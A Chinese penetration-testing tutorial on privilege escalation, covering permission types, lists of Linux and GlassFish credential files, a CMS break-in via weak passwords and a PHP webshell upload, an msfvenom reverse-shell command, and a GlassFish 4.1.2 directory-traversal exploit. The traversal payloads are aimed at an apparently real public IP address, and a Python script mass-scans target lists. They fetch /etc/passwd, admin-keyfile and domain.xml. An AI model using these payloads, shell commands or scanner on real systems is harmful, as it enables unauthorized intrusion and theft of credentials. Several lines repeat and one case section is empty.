知识点解释
#当前知识点在渗透流程中的点
前面-中期-后期对应知识关系
#权限提升
此处提权指的不是让网站的普通用户获取到管理员的权限(那属于网站的逻辑漏洞)而是我们已经利用网站的漏洞拿到了一些权限乃至webshell后如何利用网站权限进而获取到数据库、操作系统、服务器等的权限。
#当前知识点权限提升权限介绍
注重理解当前权限对应可操作的事情
#利用成功后的思想需要总结的思路
相关的操作被拒绝无法实现的时候就会涉及到权限提升
#具体有哪些权限需要我们知道和了解掌握的?
后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等
- 后台权限:(获得方式:爆破,注入猜解,弱口令等获取的帐号密码配合登录)
- 一般网站或应用后台只能操作应用的界面内容数据图片等信息,无法操作程序的源代码或服务器上
的资源文件的。(如后台功能存在文件操作的话也可以操作文件数据)
- 一般网站或应用后台只能操作应用的界面内容数据图片等信息,无法操作程序的源代码或服务器上
- 网站权限:(获得方式:以上三种思路获取)
- 查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),
还能收集服务器操作系统相关的信息,为后续系统提权做准备。
- 查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),
- 数据库权限:
- 操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的
数据库配置文件读取获得。
- 操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的
- 接口权限:(邮件,短信,支付,第三方登录等)
- 后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),
具体可以操作的事情大家自己想想。
- 后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),
案例演示
- (一)某挂壁程序后台权限提升-后台功能
- (二) 某 BC 广告导航页权限提升-漏洞层面
- (三) 苏丹大西瓜 GlassFish 中间件-第三方
- 知识点补充:
- linux下敏感文件
- [blockquote2 name='签名']/etc/issue 版本信息
/var/spool/cron/crontabs/root 定时任务
/etc/passwd
/root/.bash_history bash环境下的命令执行历史记录
/root/.pgpass 记录连接postgressql服务器的密码
/root/.psql_history potgressql客户端的执行的sql语句历史记录[/blockquote2] - glassfish下敏感文件
- [blockquote2 name='签名']domains/domain1/config/domain.xml 各种数据库密码位置
domains/domain1/config/admin-keyfile 后台密码存储位置[/blockquote2]
(一)站帮主CMS程序后台权限提升-后台功能
- 1.打开首页
-
- 2.后台登录地址 cms/cms/admin ,打开后台
-
- 3.进行弱口令破解登录,登录成功
-
从网站拿到webshell
- 4.登录成功后,我们进行文件上传,拿到webshll
- 5.我们找到可以上传文件,图片的地方
-
- 6.我们找到一个编辑栏目的地方,我们进去试一下有没有可以上传文件的地方
-
- 7.我们发现这个地方有上传图片的地方,我们试一下是否有验证
-
- 8.我们发现已经直接上传php文件成功,我们利用菜刀连接一下
- 9.不知道为什么菜刀一直链接不上,于是换蚁剑连接上了
-
- 10.到此时,我们已经拿到webshell,接下来我们进行提权
反弹shell连接
- 11.接下来我们利用kali的msf制作一个exe类型的反弹型木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的ip LPORT=端口 -f 类型 -o 文件名
(二) 某 BC 广告导航页权限提升-漏洞层面
(三) 苏丹大西瓜 GlassFish 中间件-第三方
(1)简介
- *GlassFish* 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。
(2)漏洞类型
- 任意文件读取:可以利用此漏洞读取到受害机的任意文件glassdish漏洞成因: java语义中会把"%c0%ae"解析为"\uC0AE",最后转义为ASCCII字符的"."(点)
(3)影响版本
- <=4.1.2版本
(4)漏洞复现
- 环境搭建:我们这里使用docker中的vulhub漏洞环境
- 启动镜像:docker-compose up -d
- 或者,我们可以直接在黑暗引擎中搜索关键词
- [blockquote2 name='签名']Server: GlassFish Server Open Source Edition 4.1.2
X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition 4.1.2 Java/Oracle Corporation/1.8)[/blockquote2] -
(5)漏洞利用演示
- 1.打开网站
- 47.107.74.156:8080 --->网站首页
- 47.107.74.156:4848 --->网站后台
-
- 2.利用网上playload
- [blockquote2 name='签名']linux_poc:
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
window_poc:
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini[/blockquote2]
- [blockquote2 name='签名']linux_poc:
- 3.访问地址:
- 47.107.74.156:4848//theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
- 4.访问结果
-
- 5.我们发现读取成功!
- 6.后台账号密码获取payload,解密参考:GlassFish 目录穿越漏洞测试过程 - 腾讯云开发者社区-腾讯云 (tencent.com)
- [blockquote2 name='签名']后台密码:192.168.10.129:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/admin-keyfile
数据库密码:192.168.10.129:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/domain.xml[/blockquote2] - 7.playload
import requests,time requests.packages.urllib3.disable_warnings() win_poc='/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini' linux_poc='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' for ip in open('ip.txt'): ip=ip.replace('\n','') vul_windows=ip+win_poc vul_linux=ip+linux_poc try: print('check->' + ip) win_code = requests.get(vul_windows,verify=False).status_code linux_code = requests.get(vul_linux,verify=False).status_code if win_code == 200 or linux_code == 200: print(ip + '|有漏洞') except Exception as err: print('connecting error')